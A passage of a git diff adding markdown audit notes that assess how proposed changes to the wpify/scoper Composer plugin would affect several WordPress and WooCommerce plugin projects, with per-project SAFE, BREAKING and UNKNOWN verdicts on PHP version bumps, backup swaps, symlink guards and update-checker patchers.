+`$prefixLengthsPsr4`/`$prefixDirsPsr4` entries are safe because their values start with +`array (`, and `(` is outside the value character class; classmap keys all contain `\`, which +is not `[:alnum:]`. Narrowing the regex to `$files` is behaviour-preserving here and removes a +real latent hazard (a scoped package declaring a single-segment global class with no +underscore would today get a corrupted classmap key). + +--- + +## 5. Remaining checklist items + +### C4 — bump `require.php` to `^8.2` + +Keep the two PHP versions apart: + +- **PHP the tool runs on.** `mawis/.gitlab-ci.yml:38` runs the composer job in image + `composer:2.8.2`; verified by pulling it: **PHP 8.3.13**. It does + `composer global require wpify/scoper --with-all-dependencies` (`.gitlab-ci.yml:64`), so + `^8.2` resolves. Local dev is `.ddev/config.yaml:4` → `php_version: "8.3"`. + `wpify-woo-dognet` and `wpify-woo-filters` delegate to + `wpify/gitlab-ci-templates` `/pipelines/wpify-plugin.yml` (`.gitlab-ci.yml:4-7`), which is + **not checked out locally** — see UNKNOWN below. +- **`config.platform.php`.** `wpify-woo-filters/composer.json:9` pins `8.0.30`, but that + governs only the *outer* project's own `vendor/` (which is dev-only: phpunit, wp-phpunit, + polyfills). The scoped resolution is governed by `wpify-woo-filters/composer-deps.json:12-14` + → `"platform": {"php": "8.1"}` with `"require": {"php": ">=8.1.0"}`. Confirmed on the built + output: `deps/composer/platform_check.php:7` asserts `PHP_VERSION_ID >= 80100`. The `8.0.30` + pin is **irrelevant to C4**. + (mawis: `composer-deps.json` platform `8.3`, `deps/composer/platform_check.php` asserts + `>= 80200`. dognet: platform `8.1.0`, asserts `>= 80100`.) + +| project | verdict | +|---|---| +| mawis | **SAFE** (PHP 8.3.13 in CI, 8.3 in DDEV) | +| dognet | **UNKNOWN** — shared CI template not available locally | +| filters | **UNKNOWN** — same; the `8.0.30` platform pin is a red herring, not a blocker | + +### C5 — fail fast on missing/invalid prefix + +**SAFE ×3.** `MawisDeps` (`mawis/composer.json:104`), `WpifyWooDognetDeps` +(`wpify-woo-dognet/composer.json:19`), `WpifyWooFiltersDeps` +(`wpify-woo-filters/composer.json:38`) are all present and legal PHP namespace identifiers. +Nothing relies on the silent no-op at `src/Plugin.php:127`. + +### C3 — atomic `.bak` swap + +**SAFE ×3.** `folder` is the default `deps` at the **project root** in every case — not inside +`vendor/`. A `deps.bak` sibling would land at the project root. + +- `mawis/.gitignore:33` has `/deps`; dognet `.gitignore:5` and filters `.gitignore:5` have + `/deps/`. **None of these patterns match `deps.bak`**, so a crash mid-swap would leave an + untracked directory visible in `git status`. Cosmetic; worth `.gitignore`-ing `deps.bak` or + using a dot-prefixed name. +- `mawis/.gitlab-ci.yml:47` archives `$CI_PROJECT_DIR/deps` as an artifact and + `.gitlab-ci.yml:96` deploys `deps/` explicitly — neither would pick up `deps.bak`. +- Same filesystem in all cases (project root ↔ `deps/`); no Docker/DDEV mount crosses that + boundary. + +### C2 — `is_link()` guard in `remove()` + +**SAFE ×3.** `mawis/deps` is not a symlink and contains **0** symlinks (`find -type l`). +No `path` repositories in any `composer-deps.json`. mawis' `composer.json:21-24` has a `path` +repo (`lib/MawisApi`) but that is the *outer* project, which `remove()` never touches. + +### C1 + M4 — subprocess, exit code, `--no-plugins` + +| project | composer-plugin packages in scoped deps | currently running? | `--no-plugins` verdict | +|---|---|---|---| +| mawis | `php-http/discovery`, `tbachert/spi` | **no** | **SAFE** | +| dognet | none | — | **SAFE** | +| filters | none | — | **SAFE** | + +`mawis/composer-deps.json` has no `allow-plugins`, and the built output proves neither plugin +ran: `mawis/deps/composer/` contains no `GeneratedDiscoveryStrategy.php` and no +`GeneratedServiceProviderData.php`. So `--no-plugins` is a no-op today. +`woocommerce/action-scheduler` is `type: wordpress-plugin` in dognet/filters but no +`composer/installers` is present; it lands at `deps/woocommerce/action-scheduler` via the +default fallback, which `--no-plugins` does not change. + +**Exit-code propagation (C1) is a real improvement, not a risk**, for `mawis`: the CI job at +`.gitlab-ci.yml:65` is a bare `composer install` whose artifacts (`.gitlab-ci.yml:47`) include +`deps/`. Today a failed scoping run still exits 0 and publishes a stale or partial `deps/`. +Nothing in any of the three pipelines *depends* on `composer install` masking a scoper failure. + +### H7 — make `--no-dev` reachable + +**Not applicable ×3.** None of the three `composer-deps.json` files has a `require-dev` +section (verified by grep). `--no-dev` on the nested install changes nothing. +Note `mawis/.gitlab-ci.yml:65` already passes `--no-dev` to the *outer* install. + +### H16 — regenerated symbol lists + +**SAFE ×3.** Scanned all built `deps/` for declarations of the ~18 function-body symbols the +new `SymbolCollector` would add (`WP_Block_Cloner`, `wxr_cdata`, `lowercase_octets`, +`wp_handle_upload_error`, `_sort_priority_callback`, `filter_created_pages`) and for any +`SODIUM_*` reference (the 97 new constants): **zero hits in all three projects**. +No scoped package declares or consumes a newly-excluded symbol. + +### M3 — stop writing generated `scripts` into `composer-deps.json` + +**SAFE ×3**, mildly beneficial for mawis. Only `mawis/composer-deps.json:14` has a `scripts` +block and it is the **empty** `"scripts": {}` — a leftover, not hand-written; the generated +absolute-path/`tmp-XXXX` entries are written to the *temp* copy +(`src/Plugin.php:169-175` writes to `$source/composer.json`), not back to the user's file. +dognet and filters have no `scripts` key at all. All three track `composer-deps.json`, +`composer-deps.lock` and `scoper.custom.php` in git (verified via `git ls-files`), so no churn +is being introduced today, and none would be removed. + +### M15 — validate `globals` + +**SAFE ×3.** All three use `["wordpress","woocommerce","plugin-update-checker"]`; every entry +maps to an existing file in `symbols/`. No typos. +Worth recording under M15 that validation would **not** catch the real problem here, which is +the *omission* of `wp-cli`/`action-scheduler` — see §3. + +--- + +## Verdict table + +| item | mawis | wpify-woo-dognet | wpify-woo-filters | +|---|---|---|---| +| **H14/H15** drop `symbols/plugin-update-checker.php` + `globals` branch | SAFE | SAFE | SAFE | +| **H14/H15** drop dead v4p11 patcher (`scoper.inc.php:48-50`) | SAFE | SAFE | SAFE | +| **F3/H15** drop `$checkerClass` patcher (`scoper.inc.php:75-77`) | SAFE | **BREAKING** | **BREAKING** | +| **H18** fix `scoper.custom.php` discovery | SAFE (already applied) | SAFE (already applied) | SAFE (already applied) | +| custom patchers vs **H1** | SAFE (no conflict) | SAFE (no conflict) | SAFE (no conflict) | +| **H1** anchored prefix-stripping | SAFE | **NEEDS-MIGRATION** (add `wp-cli` to `globals`) | **NEEDS-MIGRATION** (add `wp-cli` to `globals`) | +| **H2** narrow `autoload_static` rewrite to `$files` | SAFE | SAFE | SAFE | +| **C1+M4** subprocess / exit code / `--no-plugins` | SAFE | SAFE | SAFE | +| **C2** `is_link()` guard | SAFE | SAFE | SAFE | +| **C3** atomic `.bak` swap | SAFE (`.gitignore` misses `deps.bak`) | SAFE (same) | SAFE (same) | +| **C4** require PHP `^8.2` | SAFE (CI PHP 8.3.13) | UNKNOWN (shared CI template) | UNKNOWN (shared CI template); `platform 8.0.30` is a red herring | +| **C5** fail fast on bad prefix | SAFE | SAFE | SAFE | +| **H7** reachable `--no-dev` | n/a (no `require-dev`) | n/a | n/a | +| **H16** regenerated symbol lists | SAFE | SAFE | SAFE | +| **M3** stop writing `scripts` | SAFE | SAFE | SAFE | +| **M15** validate `globals` | SAFE | SAFE | SAFE | + +### UNKNOWNs + +- **C4 for dognet and filters.** Both `.gitlab-ci.yml` files consist solely of + `include: project: 'wpify/gitlab-ci-templates', file: '/pipelines/wpify-plugin.yml'`. + That repository is not checked out under `/Users/wpify/projects`, so the PHP version of the + image that runs `composer global require wpify/scoper` cannot be read. **This single file + gates the C4 answer for the entire WPify plugin fleet, not just these two** — it should be + checked before the bump ships. +- Whether `wpify/updates` is ever invoked with a VCS metadata URL by any *other* consumer. In + these three it is always the `wpify.io` JSON endpoint, so the broken VCS branch (§1.2) is + latent. A fleet-wide grep for `buildUpdateChecker` with a github.com/gitlab.com URL would + settle it. diff --git a/docs/improvements/consumers/D-vendor-scoped-group.md b/docs/improvements/consumers/D-vendor-scoped-group.md new file mode 100644 index 0000000..28cbfce --- /dev/null +++ b/docs/improvements/consumers/D-vendor-scoped-group.md @@ -0,0 +1,557 @@ +# Consumer impact — cluster D: projects that scope INTO `vendor/` + +Scope: `wpify-woo-feeds`, `wpify-woo-gopay`, `wpify-woo-paczkomaty`, `tmp/wpify-woo`. +All inspection was read-only (`git status` clean where it started clean; no writes, no composer runs). + +## 0. Ground facts established first + +| | feeds | gopay | paczkomaty | tmp/wpify-woo | +|---|---|---|---|---| +| `extra.wpify-scoper.prefix` | `WpifyWooFeedsDeps` (composer.json:25) | `WpifyWooGopayDeps` (:21) | `WpifyWooPaczkomatyDeps` (:42) | `WpifyWooDeps` (:35) | +| `folder` | `vendor/wpify-woo-feeds` (:26) | `vendor/wpify-woo-gopay` (:22) | **absent** → default `deps` (Plugin.php:57) | `vendor/wpify-woo` (:36) | +| `globals` | wordpress, woocommerce, plugin-update-checker (:27–30) | same (:23–26) | wordpress, woocommerce (:43–45) | wordpress, woocommerce (:37–39) | +| `config.platform.php` | `8.1.0` (:10) | `8.1` (:7) | `8.1` (:12) | `8.1` + `ext-soap` (:11) | +| scoped tree currently built on disk | **yes** | no | no | no | +| `scoper.custom.php` | no | no | no | **yes** | +| wpify/scoper installed | **globally** (`/Users/wpify/.composer/vendor/wpify/scoper`, global composer.json requires `^3.2`) | globally | globally | globally | + +None of the four has `wpify/scoper` in its own `composer.lock` (checked: zero matches in all four). The +global install path `/Users/wpify/.composer/vendor/wpify/scoper` **does** contain the literal +`vendor/wpify/scoper`, which matters for H18 below. + +**Bootstrap paths all match `folder`** (ordering-hazard item 2, first half): + +- `wpify-woo-feeds/wpify-woo-feeds.php:148` → `__DIR__ . '/vendor/wpify-woo-feeds/scoper-autoload.php'`, then `vendor/autoload.php` at :160 +- `wpify-woo-gopay/wpify-woo-gopay.php:157` → `__DIR__ . '/vendor/wpify-woo-gopay/scoper-autoload.php'`, then `vendor/autoload.php` at :166 +- `wpify-woo-paczkomaty/wpify-woo-paczkomaty.php:134` → `__DIR__ . '/deps/scoper-autoload.php'` + `deps/autoload.php` +- `tmp/wpify-woo/wpify-woo.php:175–177` → `__DIR__ . '/vendor/wpify-woo/scoper-autoload.php'` then `vendor/autoload.php` + +No mismatch. The scoped tree is **not** registered in any project's own `autoload` block — it is loaded +by an explicit `include_once` of `scoper-autoload.php`, which chains to the scoped tree's own +`autoload.php`. Composer's root autoloader has no knowledge of it. + +### Is `tmp/wpify-woo` a real project or a scratch copy? — **REAL, and it is the only copy on this machine.** + +`git -C /Users/wpify/projects/tmp/wpify-woo`: +- remote `git@gitlab.com:wpify/wpify-woo.git`, branch `master` tracking `origin/master` +- `git describe --tags` → `5.4.16` +- HEAD `9aca08c "Fix IC/DIC Login conflict, Withdrawal & Claim order id normalization"` +- **uncommitted work present**: `M readme.txt`, `M src/Api/SettingsApi.php`, `M wpify-woo.php`, untracked `tests/` + +There is no `/Users/wpify/projects/wpify-woo`. This is an active working copy that merely lives under a +directory named `tmp`. Its findings are weighted the same as the other three, and it is the only project +in this cluster with a `scoper.custom.php` and the only one with a hand-written `scripts` block in +`composer-deps.json` — so it is the highest-signal project here, not the lowest. + +--- + +## 1. Does the scoped directory being inside `vendor/` break C3 (atomic swap via `.bak` sibling)? + +Current behaviour (`scripts/postinstall.php:62–63`): + +```php +remove( $deps ); +rename( path( $destination, 'vendor' ), $deps ); +``` + +Under C3 this becomes: rename `$deps` → `$deps.bak-`, rename new tree into `$deps`, delete the backup. +For three of four projects `$deps` is inside `vendor/`, so the backup is +`vendor/wpify-woo-feeds.bak-` / `vendor/wpify-woo-gopay.bak-` / `vendor/wpify-woo.bak-`. + +**(a) Would a later `composer install` remove or complain about it?** No — and that is the problem. +Composer only removes package directories recorded in `vendor/composer/installed.json`; it does not sweep +`vendor/` for strays. The scoped directory itself is proof: `wpify-woo-feeds/vendor/` currently holds +`autoload.php`, `composer/` and `wpify-woo-feeds/` side by side (`composer/` mtime Jun 22 18:37, +scoped dir Jun 22 20:20) with no Composer complaint. A leaked `.bak-` therefore **persists +indefinitely and is never cleaned up by anything.** + +**(b) Is the `.bak` visible in git?** No, in any of the four. `.gitignore` ignores `vendor/` wholesale +(`wpify-woo-feeds/.gitignore:7`, `wpify-woo-gopay/.gitignore:7`, `wpify-woo-paczkomaty/.gitignore:7`, +`tmp/wpify-woo/.gitignore:8`) and `deps` too (`:4` in the first three, `:4` in wpify-woo). So a leaked +backup is **invisible to `git status`** — nobody will notice it accumulating. + +**(c) Deploy / artifact rules that would now pick it up — this is the real hit.** +`tmp/wpify-woo/.rsyncinclude:6` is `+ /vendor/***`. That is a recursive wildcard over the whole vendor +directory, used by the `.deploy_wporg_rsyncinclude` job (`.gitlab-ci.yml`, `wporg:` job, tags only). +A leaked `vendor/wpify-woo.bak-` would be **rsynced into the WordPress.org SVN release**, roughly +doubling the shipped plugin size and publishing a duplicate copy of every scoped dependency. +Additionally `tmp/wpify-woo/.gitlab-ci.yml:27–30` declares `artifacts.paths: ./deps, ./vendor`, so the +backup would also ride along in the CI artifact consumed by the `create_zip` / deploy jobs. +`.gitattributes` is absent for wpify-woo and only `export-ignore`s lock files in the other three, so +`git archive` is unaffected (vendor is untracked anyway). + +feeds / gopay / paczkomaty have **no** `.rsyncinclude`; they delegate to +`wpify/gitlab-ci-templates :: /pipelines/wpify-plugin.yml`, which is **not checked out locally**, so I +cannot read its rsync/artifact rules. Given wpify-woo's inlined equivalent uses `+ /vendor/***`, the +shared template very likely does the same — but I am marking that UNKNOWN rather than asserting it. + +**(d) Crash window / stale-backup confusion.** The proposed name carries `-`, so a later run will +never mistake a leftover for the real tree — the plugin only ever looks at `$deps` itself, never at +siblings. That specific hazard is closed. What is *not* closed is that leftovers are silent, permanent, +and shippable (points a–c). + +**(e) Same filesystem?** Yes for all four. Temp dir is `getcwd() . '/tmp-<10 chars>'` (Plugin.php:58) and +no project overrides `extra.wpify-scoper.temp` (verified: zero matches in all four composer.json files). +Source, destination, `$deps` and the `.bak` sibling are all under the project root, so `rename()` cannot +hit `EXDEV`. No `.ddev/`, `Dockerfile`, `docker-compose.yml`, `.tool-versions` or `.php-version` in any of +the four — no bind-mount split to worry about. + +**Verdict C3:** SAFE for paczkomaty (`deps` is a top-level, `.gitignore`d, self-contained directory). +**NEEDS-MIGRATION for feeds, gopay and wpify-woo** — the backup must be created *outside* `vendor/` +(alongside the temp tree, i.e. `getcwd()/tmp-/old-deps`), or the run must sweep +`dirname($deps) . '/' . basename($deps) . '.bak-*'` at startup. Placing it inside `vendor/` converts a +crash into a permanently invisible, deployable artifact — and for wpify-woo specifically into a +wordpress.org release payload via `.rsyncinclude:6`. + +--- + +## 2. Ordering hazard — does Composer ever wipe the scoped directory? + +**No.** Three separate reasons, all checked: + +1. `composer install` / `composer update` only remove packages tracked in `vendor/composer/installed.json`. + The scoped tree is not a Composer package and is not in the project's own `autoload` config + (verified in all four `composer.json`), so nothing prunes it. `--no-dev` prunes *dev packages*, not + unknown directories. +2. `composer dump-autoload` fires `pre-`/`post-autoload-dump`, **not** `POST_INSTALL_CMD` / + `POST_UPDATE_CMD` — the only two events the plugin subscribes to (`src/Plugin.php:44–49`). So + `dump-autoload` neither rebuilds nor deletes the scoped tree; it leaves it untouched. +3. The plugin runs *after* Composer has finished writing `vendor/` (POST_INSTALL_CMD), so + `rename(temp/destination/vendor, vendor/)` always lands into an already-existing `vendor/`. + +Empirical corroboration: `wpify-woo-feeds/vendor/` currently contains the composer-managed +`autoload.php` + `composer/` (mtime 18:37) and the scoped `wpify-woo-feeds/` (mtime 20:20) coexisting. + +One residual, low-probability naming collision worth stating: `vendor/wpify-woo-feeds` occupies what +Composer treats as a *vendor-namespace* slot. If a package `wpify-woo-feeds/` were ever +required, Composer would install into that same directory and the two would fight. No such package is +required today in any of the four. + +**Verdict:** SAFE for all four. + +--- + +## 3. C2 — `is_link()` guard in `remove()` + +- `wpify-woo-feeds`: `test -L vendor` → not a symlink; `test -L vendor/wpify-woo-feeds` → not a symlink; + `find vendor -type l` → **zero** symlinks anywhere in the tree. +- gopay / paczkomaty / wpify-woo: no built tree exists, so nothing to test; `find -maxdepth 2 -type l` + over each project root (excluding `.git`, `node_modules`) → zero symlinks. +- No `repositories` key at all in any of the four `composer-deps.json`; no `"type": "path"` anywhere in + any `composer.json` or `composer-deps.json`. So Composer never symlinks a path repository into the + scoped tree. +- No DDEV/Docker mounts (see 1e). + +**Verdict C2:** SAFE for all four. Purely additive hardening here; nothing in this cluster relies on +`remove()` following a link. + +--- + +## 4. H14 / H15 — plugin-update-checker. **This is the BREAKING finding in this cluster.** + +### What is actually installed + +`plugin-update-checker` is in `globals` for **feeds** (composer.json:30) and **gopay** (:26) only. +Neither paczkomaty nor wpify-woo lists it, and neither has PUC in its `composer-deps.lock` — for those +two the whole topic is **not applicable**. + +feeds and gopay both lock `yahnis-elsts/plugin-update-checker dev-master`, pulled transitively by +`wpify/updates ^1`. The built tree shows it is **v5.7**, not v4: +`vendor/wpify-woo-feeds/yahnis-elsts/plugin-update-checker/load-v5p7.php`, tree `Puc/v5`, `Puc/v5p7`, +namespaces `YahnisElsts\PluginUpdateChecker\v5` / `v5p7`. + +### Does any project code reference PUC? + +**No.** Grepping `src/` and the main plugin file of all four for `Puc_v4`, `PluginUpdateChecker`, +`PucFactory`, `Puc\` → zero hits. The only consumer is the scoped package `wpify/updates`: + +`vendor/wpify-woo-feeds/wpify/updates/src/Updates.php:5,26` +```php +use WpifyWooFeedsDeps\YahnisElsts\PluginUpdateChecker\v5\PucFactory; +... +$url = sprintf('https://wpify.io/?update_action=get_metadata&update_slug=%s&site_url=%s', ...); +PucFactory::buildUpdateChecker($url, $this->plugin_file, $this->plugin_slug); +``` + +### H15 — dropping the built-in symbol list: SAFE + +`symbols/plugin-update-checker.php` contains **only** `expose-classes` naming 33 `Puc_v4p11_*` / +`Puc_v4_Factory` classes (lines 1–37). None of those class names exists anywhere in the installed v5.7 +tree. The list is a dead no-op for feeds and gopay today. Deleting the file — and with it the +`in_array('plugin-update-checker', ...)` branch at `src/Plugin.php:230–235` — changes nothing observable. +The two projects would then need `plugin-update-checker` removed from `globals`, or `globals` validation +(M15) would reject it: **that is the only migration step**, and it is a one-line edit per project. + +### H14 — regenerating for v5, or removing the v5 patchers: BREAKING for feeds and gopay + +The `globals` list is not the thing PUC actually depends on. What PUC depends on is a **patcher in +`config/scoper.inc.php:75–77`**: + +```php +if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker' ) !== false ) { + $content = str_replace( '$checkerClass = $type', '$checkerClass = "'. $prefix . '\\\\".$type', $content ); +} +``` + +Its effect in the built tree, `yahnis-elsts/plugin-update-checker/Puc/v5p7/PucFactory.php:81`: + +```php +$checkerClass = "WpifyWooFeedsDeps\\".$type . '\UpdateChecker'; // $type === 'Plugin' +``` + +and the lookup table it must match, `load-v5p7.php:11` (php-scoper prefixed the *string literal* keys): + +```php +foreach (array('WpifyWooFeedsDeps\Plugin\UpdateChecker' => Plugin\UpdateChecker::class, ...) as $pucGeneralClass => $pucVersionedClass) { + MajorFactory::addVersion($pucGeneralClass, $pucVersionedClass, '5.7'); +``` + +The two only line up **because** the patcher fires. Remove or neutralise it and +`getCompatibleClassVersion('Plugin\UpdateChecker')` returns `null`, which reaches +`PucFactory.php:88–90`: + +```php +if ($checkerClass === null) { + trigger_error(esc_html(sprintf('PUC %s does not support updates for %ss %s', ...)), \E_USER_ERROR); +} +``` + +`E_USER_ERROR` is fatal. `Updates::init_udates_check()` runs on every `init` +(`Updates.php:16–20`), so this would be a **white screen on every request** for wpify-woo-feeds and +wpify-woo-gopay, not a degraded update check. + +Corroborating that the URL takes the fatal branch and not the VCS branch: the metadata URL is +`https://wpify.io/?update_action=...`, so `getVcsService()` returns empty and control goes to the +`empty($service)` branch at `PucFactory.php:81` — the one the patcher rewrites. + +**Already broken today, worth recording:** the *other* branch, `PucFactory.php:84` +`$checkerClass = 'Vcs\\' . $type . 'UpdateChecker';`, is **not** patched, so it can never match the +registered key `'WpifyWooFeedsDeps\Vcs\PluginUpdateChecker'`. GitHub/GitLab/BitBucket-hosted update +checking is dead in every scoped build in this cluster. Nothing here uses it, so it is latent. + +**Verdict H14/H15:** +- H15 (drop the built-in `Puc_v4p11_*` list): **SAFE** for feeds and gopay, **not applicable** for + paczkomaty and wpify-woo. Requires removing `plugin-update-checker` from two `globals` arrays. +- H14 (regenerate for v5 / rework the patchers): **BREAKING for feeds and gopay unless the + `$checkerClass = $type` patcher at `config/scoper.inc.php:75–77` is preserved or replaced by an + equivalent that keeps `PucFactory::$classVersions` keys and the lookup string in agreement.** + Any v5 rework must be validated by actually building feeds or gopay and confirming + `PucFactory::buildUpdateChecker()` returns a `Plugin\UpdateChecker` instance rather than tripping + `E_USER_ERROR`. +- The dead v4-only patcher at `config/scoper.inc.php:48` + (`Puc/v4p11/UpdateChecker.php` → inject `use WP_Error;`) targets a path that does not exist in a v5 + tree; removing it is **SAFE** for all four. + +--- + +## 5. `tmp/wpify-woo/scoper.custom.php` (H18) — currently APPLIED, and load-bearing + +Full contents: + +```php +function customize_php_scoper_config( array $config ): array { + $config['patchers'][] = function( string $filePath, string $prefix, string $content ): string { + if ( strpos( $filePath, 'wpify/core' ) !== false ) { + $content = str_replace( $prefix . '\\\\array_merge', 'array_merge', $content ); + $content = str_replace( $prefix . '\\\\wpml_object_id_filter', 'wpml_object_id_filter', $content ); + $content = str_replace( $prefix . '\\\\WP_Post', 'WP_Post', $content ); + } + $content = str_replace( "'{$prefix}\\ICL_LANGUAGE_CODE'", "'ICL_LANGUAGE_CODE'", $content ); + $content = str_replace( "{$prefix}\\ICL_LANGUAGE_CODE", "ICL_LANGUAGE_CODE", $content ); + return $content; + }; + return $config; +} +``` + +**Is it applied?** Yes. `src/Plugin.php:204` calls `createPath( array('scoper.custom.php'), true )`, and +`createPath` (`:268–276`) returns `getcwd() . '/scoper.custom.php'` only when +`strpos( dirname(__DIR__), 'vendor/wpify/scoper' )` is an int. The global install lives at +`/Users/wpify/.composer/vendor/wpify/scoper`, so `dirname(__DIR__)` is +`/Users/wpify/.composer/vendor/wpify/scoper` — which **contains** the literal substring. Verified by +executing the exact expression: `strpos(...)` → `int(23)` → CWD branch taken. The same holds in CI: +`tmp/wpify-woo/.gitlab-ci.yml:36` does `composer global require wpify/scoper`, and the +`composer:2.8.2` image sets `COMPOSER_HOME=/tmp`, giving `/tmp/vendor/wpify/scoper` — also a match. + +So **H18 does not bite this cluster**: the custom file is found today via the global-install path, and an +H18 fix that always resolves against the project root leaves behaviour identical. **SAFE** — but the fix +must not *narrow* discovery, because wpify-woo genuinely needs the file. + +**Why it is load-bearing.** The `ICL_LANGUAGE_CODE` half is live and necessary. `ICL_LANGUAGE_CODE` is in +none of the symbol lists (checked `wordpress.php` and `woocommerce.php`: no hit in any key), so +php-scoper prefixes it. In **wpify-woo-feeds**, which has *no* `scoper.custom.php`, the damage is visible: + +`vendor/wpify-woo-feeds/wpify/woo-core/src/Abstracts/AbstractModule.php:28,155,179` and +`.../src/Admin/Settings.php:359` +```php +if (is_admin() && defined('WpifyWooFeedsDeps\ICL_LANGUAGE_CODE') && ...) { +``` +WPML defines the *global* `ICL_LANGUAGE_CODE`, so `defined('WpifyWooFeedsDeps\ICL_LANGUAGE_CODE')` is +permanently false and the whole WPML per-language-settings branch is dead in feeds. wpify-woo's custom +file is precisely what prevents that for wpify-woo — it depends on the same `wpify/woo-core ^5`. + +**Latent defect in the custom file itself (not caused by any proposal):** the first block tests +`strpos($filePath, 'wpify/core')`. The dependency is `wpify/woo-core` (composer-deps.json), installed at +`vendor/wpify/woo-core/…`, which does **not** contain `wpify/core`. The `array_merge`, +`wpml_object_id_filter` and `WP_Post` fixes therefore never fire. Worth reporting to the wpify-woo owner +independently of this audit; it is not a reason to block any proposal. + +--- + +## 6. Mining the built tree for live H1 / H2 corruption + +Only `wpify-woo-feeds` has a built scoped tree, so this section is empirical for feeds and inferential +for the other three. + +### H2 — `autoload_static.php` rewrite: no live corruption in this cluster + +`vendor/wpify-woo-feeds/composer/autoload_static.php` contains exactly **three** occurrences of the +lowercased prefix, all in the `$files` array where they belong (lines 10–12): + +``` +'wpifywoofeedsdepscdf08174348db7aba2f2aa1537fac4b1' => __DIR__ . '/..' . '/wpify/custom-fields/custom-fields.php', +'wpifywoofeedsdepsbc0af1337b39f0d750e835f5263eb646' => __DIR__ . '/..' . '/yahnis-elsts/plugin-update-checker/load-v5p7.php', +'wpifywoofeedsdepsb33e3d135e5d9e47d845c576147bda89' => __DIR__ . '/..' . '/php-di/php-di/src/functions.php', +``` + +Zero classmap keys were touched. The reason is specific and worth recording, because it means feeds is +lucky rather than safe by construction: + +- Every class in `autoload_classmap.php` is namespaced, so every key contains `\\` and fails the + regex's `[[:alnum:]]+` key pattern. I grepped for classmap keys without a backslash: **none**. +- The only alnum-only key in the file is `'W'` in `$prefixLengthsPsr4` (line 16), whose value is + `array (` on the *following* line — the regex requires the value on the same line and terminated by + `,`, and `(` is outside its value character class, so it does not match. +- Action Scheduler's global classes (`ActionScheduler_*`) all contain `_`, which POSIX `[[:alnum:]]` + excludes; the single underscore-free name `ActionScheduler` is not in the composer classmap at all + (Action Scheduler ships its own loader). + +**Verdict H2: SAFE for all four** — narrowing the rewrite to the `$files` block is behaviour-preserving +here. The risk the audit describes is real but does not currently fire against these dependency sets. +It *would* fire the moment any of these projects added a dependency exposing an underscore-free global +class through the composer classmap. + +### H1 — anchored prefix-stripping: SAFE, and the analysis is worth keeping + +I scanned the whole built tree for root-level references (`\Name` not preceded by an identifier +character, plus `use Name` at statement start) whose name is a **strict extension** of one of the 1,190 +excluded classes / 455 excluded namespaces — i.e. exactly the symbols the current unanchored +`str_replace` at `config/scoper.inc.php:87–103` de-prefixes by accident and that anchoring would start +prefixing again. The complete result set is six names: + +| residue | matched excluded symbol | why it is harmless | +|---|---|---| +| `MONTH_IN_SECONDS` | `MO` (class) | independently in `exclude-constants` — php-scoper already leaves it global; the patcher is redundant here | +| `WP_CONTENT_DIR` | `WP` (class) | same — in `exclude-constants` | +| `WP_MAX_MEMORY_LIMIT` | `WP` | same | +| `WP_PLUGIN_DIR` | `WP` | same | +| `WP_CLI` | `WP` | **not** in the loaded lists (only in `symbols/wp-cli.php`, and `wp-cli` is not in anyone's `globals`) — see below | +| `WP_CLI_Command` | `WP` | same | + +The four constants are unaffected by anchoring: they are excluded on their own merit, so the patcher +never had to fire for them. + +`WP_CLI` / `WP_CLI_Command` are the only two symbols anchoring would actually change — and the code +that uses them is **already dead**, because the `defined()` guards were prefixed and can never be true: + +``` +classes/abstracts/ActionScheduler.php:231 if (\defined('WpifyWooFeedsDeps\WP_CLI') && \WP_CLI) { +classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:42 if (!(\defined('WpifyWooFeedsDeps\WP_CLI') && \WP_CLI)) { +classes/abstracts/ActionScheduler_WPCLI_Command.php:32 if (!\defined('WpifyWooFeedsDeps\WP_CLI') || !\constant('WP_CLI')) { +classes/migration/Controller.php:146, classes/migration/Runner.php:83, classes/WP_CLI/Migration_Command.php:33, classes/WP_CLI/ProgressBar.php:60 — same pattern +``` + +The two unguarded `\WP_CLI::warning()` call sites +(`classes/ActionScheduler_DataController.php:140,143`) live in `free_memory()`, reachable only via +`add_action('action_scheduler/progress_tick', …)` at `:186` gated on `self::$free_ticks`, which is set +only by `set_free_ticks()` — called exclusively from +`classes/WP_CLI/ActionScheduler_WPCLI_Scheduler_command.php:87` and +`classes/WP_CLI/Migration_Command.php:55`, both behind the dead guard. So anchoring cannot produce a +runtime fatal here. + +I also checked the *other three* projects statically, since they have no build to scan. Their scoped +dependency sets add `GuzzleHttp`, `Psr`, `Endroid`, `BaconQrCode`, `DASPRiD`, `DragonBe`, `h4kuna`, +`Nette`, `Rikudou`, `Hubipe`, `Heureka`, `GoPay`, `Spatie`, `Laravel`, `DI`, `Invoker`, `PhpDocReader`, +`Wpify`, `YahnisElsts`, `PHPStan`, `Symfony`, `Composer`, `ActionScheduler` as root namespaces. None is +a strict extension of any excluded class or namespace name. (Only the first segment after the prefix can +match, since the patcher searches `\\`.) + +**Verdict H1: SAFE for all four.** All four scope `woocommerce/action-scheduler` (3.9.3 / 3.9.3 / 3.9.2 / +3.9.3), none has `wp-cli` in `globals`, and the affected code paths are inert. +Optional follow-up, not a blocker: adding `wp-cli` to `globals` would fix Action Scheduler's WP-CLI +integration properly, which is currently disabled by the prefixed `defined('…\WP_CLI')` guards. + +--- + +## 7. Remaining checklist items + +### C4 — bump `require.php` from `^8.1` to `^8.2` + +The distinction matters here: `config.platform.php: 8.1` in all four constrains **scoped dependency +resolution**, not the PHP the tool runs on. Because wpify/scoper is installed **globally** in all four, +the projects' `platform` settings do not participate in resolving wpify/scoper at all. + +- Local dev environment: `php -v` → **8.4.20**. Satisfies `^8.2`. +- `tmp/wpify-woo` CI: `.gitlab-ci.yml:18` `image: composer:2.8.2`. Inspected the local image — + `PHP_VERSION=8.3.13`, `COMPOSER_HOME=/tmp`. Satisfies `^8.2`. The job's + `composer global require wpify/scoper --with-all-dependencies` (:36) resolves against the image's PHP + 8.3, not against the project's `platform: 8.1`. +- feeds / gopay / paczkomaty CI: delegate entirely to + `wpify/gitlab-ci-templates :: /pipelines/wpify-plugin.yml`, which is not checked out locally + (`/Users/wpify/projects/gitlab-ci-templates` does not exist). **UNKNOWN** — the image's PHP version + must be confirmed in that repo before shipping C4. + +**One concrete NEEDS-MIGRATION trap.** `wpify-woo-paczkomaty/composer.json:25` contains +`"composer require --dev wpify/scoper:^2.2"` inside `post-create-project-cmd` — i.e. the scaffold for +new projects installs wpify/scoper **locally**, under `config.platform.php: 8.1` (:12). Today that works +(v2 requires `php ^7.4|^8.0`). After C4, any project that installs wpify/scoper locally while pinning +`config.platform.php` to `8.1` 